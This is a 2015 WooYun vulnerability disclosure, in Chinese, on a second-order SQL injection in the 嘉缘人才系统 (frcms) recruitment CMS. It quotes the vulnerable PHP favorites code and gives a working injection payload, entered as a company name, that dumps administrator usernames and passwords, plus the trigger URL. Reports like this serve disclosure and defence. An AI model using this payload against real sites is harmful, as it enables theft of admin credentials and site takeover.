当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:
漏洞标题:
嘉缘人才系统sql注入可出任意数据
相关厂商:
漏洞作者:
提交时间:
2015-03-05 10:12
修复时间:
2015-06-08 10:15
公开时间:
2015-06-08 10:15
漏洞类型:
SQL注射漏洞
危害等级:
自评Rank:
20
漏洞状态:
漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源:
http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签:
分享漏洞:
4人收藏 收藏
分享漏洞:

>

漏洞详情

披露状态:

2015-03-05: 细节已通知厂商并且等待厂商处理中
2015-03-10: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-04: 细节向核心白帽子及相关领域专家公开
2015-05-14: 细节向普通白帽子公开
2015-05-24: 细节向实习白帽子公开
2015-06-08: 细节向公众公开

简要描述:

求20rank

详细说明:

看到frcms\member\person_favoriteadd.php

defined('IN_FR') or exit('Access Denied');
if($user_type!='pmember'){
echo "<script>alert('您好,您不是个人会员不能操作此功能!');location.href='javascript:history.back()';</script>";
exit;
}
if($Glimit[1]=='-1'){
echo "<script language=javascript>alert('您所在的会员组不能收藏职位,请联系网站客服进行升级!');location.href='javascript:history.back()';</script>";exit();
}
$checks = preg_replace("/[^0-9,\.-]/i",'',$checks);
if($do=='favorite'){
$checksnum=count(explode(',',$checks));
if($Glimit[1]!=0&&$uinfo['limit'][4]<$checksnum){showmsg("您的职位收藏可用数量不足,请返回重新选择!","-1",0,2000);exit();}
$checks=explode(',',$checks);
foreach($checks as $k){
$rs=$db ->get_one("select f_id from {$cfg['tb_pre']}myfavorite where f_pmember='$username' and f_hid=$k limit 0,1");
if(!$rs){
//记录并扣除发送数
$uplimit[4]=$Glimit[1]?-1:0;$uplimit[3]=1;
uplimit($Memberid,$uinfo['limit'],$uplimit);
$rss=$db->get_one("select h_id,h_comname,h_place,h_member from {$cfg['tb_pre']}hire where h_id=$k order by h_adddate desc limit 0,1"); //出库
if($rss){
$hireid=$rss['h_id'];$comname=$rss['h_comname'];$place=$rss['h_place'];$cmember=$rss['h_member'];
$db ->query("INSERT INTO {$cfg['tb_pre']}myfavorite (f_hid,f_comname,f_place,f_adddate,f_pmember,f_cmember) VALUES('$hireid','$comname','$place',NOW(),'$username','$cmember')"); //入库
var_dump($db);
$integral=$Gintegral[0];
require_once(FR_ROOT.'/inc/paylog.inc.php');
$integral&&upintegral($Memberid,"收藏职位【{$place}】获得积分+$integral",$integral);
adddynamic($Memberid,$uinfo['m_name'],1,9,$hireid,$place,6);
}
}
}
showmsg('恭喜您收藏成功!',"?m=person_favorite&show=works",0,2000);exit();


通过以上代码可以看到h_comname出库之后,就直接再次入库。中间没有转义,很明显这是一处二次注入。
首先注册一个名为test的个人用户

1.png


然后在注册一个名为fuck的企业用户,其中公司名称为

' or char(@`'`),(select(group_concat(a_user,0x7c,a_pass))from job_admin),'1','test','fuck')#


2.png


注册成功之后,然后发布随便一个职位

3.png


5.png


登陆test这个会员用户收藏这个职位
http://127.0.0.1/frcms/member/index.php?m=person_favoriteadd&do=favorite&checks=1
可以看到mysql日志文件

6.png


然后直接可以看到数据

4.png


漏洞证明:

4.png

修复方案:

转义

版权声明:转载请注明来源 牛肉包子@乌云


>

漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-08 10:15

厂商回复:

最新状态:

暂无